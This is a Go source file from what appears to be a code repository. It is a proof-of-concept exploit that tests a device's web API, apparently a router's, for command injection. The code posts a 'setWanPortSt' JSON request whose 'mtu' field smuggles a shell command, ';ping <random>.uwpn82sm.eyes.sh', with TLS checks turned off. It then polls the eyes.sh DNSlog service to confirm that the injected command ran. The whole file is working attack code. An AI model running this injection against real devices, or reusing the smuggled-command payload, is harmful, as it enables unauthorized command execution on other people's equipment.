-
Notifications
You must be signed in to change notification settings - Fork 3
/
Copy pathPocdnslog.go
46 lines (42 loc) · 1.08 KB
/
Pocdnslog.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
package main
import (
"crypto/tls"
"encoding/hex"
"fmt"
"io/ioutil"
"log"
"math/rand"
"net/http"
"strings"
"time"
)
var rand_str string
func PocDnsLog() {
rand.Seed(time.Now().UnixNano())
b := make([]byte, 2)
rand.Read(b)
rand_str = hex.EncodeToString(b)
//fmt.Printf("%s", rand_str)
requestBody := strings.NewReader(`
{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":";ping ` + rand_str + `.uwpn82sm.eyes.sh -c4;","data":"hi"} `)
http.DefaultClient.Transport = &http.Transport{
TLSClientConfig: &tls.Config{
InsecureSkipVerify: true,
},
}
response, _ := http.Post(url+path, "application/json", requestBody)
defer response.Body.Close()
time.Sleep(time.Duration(10) * time.Second)
responseGet, err := http.Get("http://eyes.sh/api/dns/uwpn82sm/" + rand_str + "/?token=adb6ca99")
if err != nil {
log.Fatal(err)
}
defer responseGet.Body.Close()
s, _ := ioutil.ReadAll(responseGet.Body)
fmt.Printf("%s", s)
if string(s) == "True" {
fmt.Println("漏洞存在")
} else if string(s) == "False" {
fmt.Println("漏洞不存在")
}
}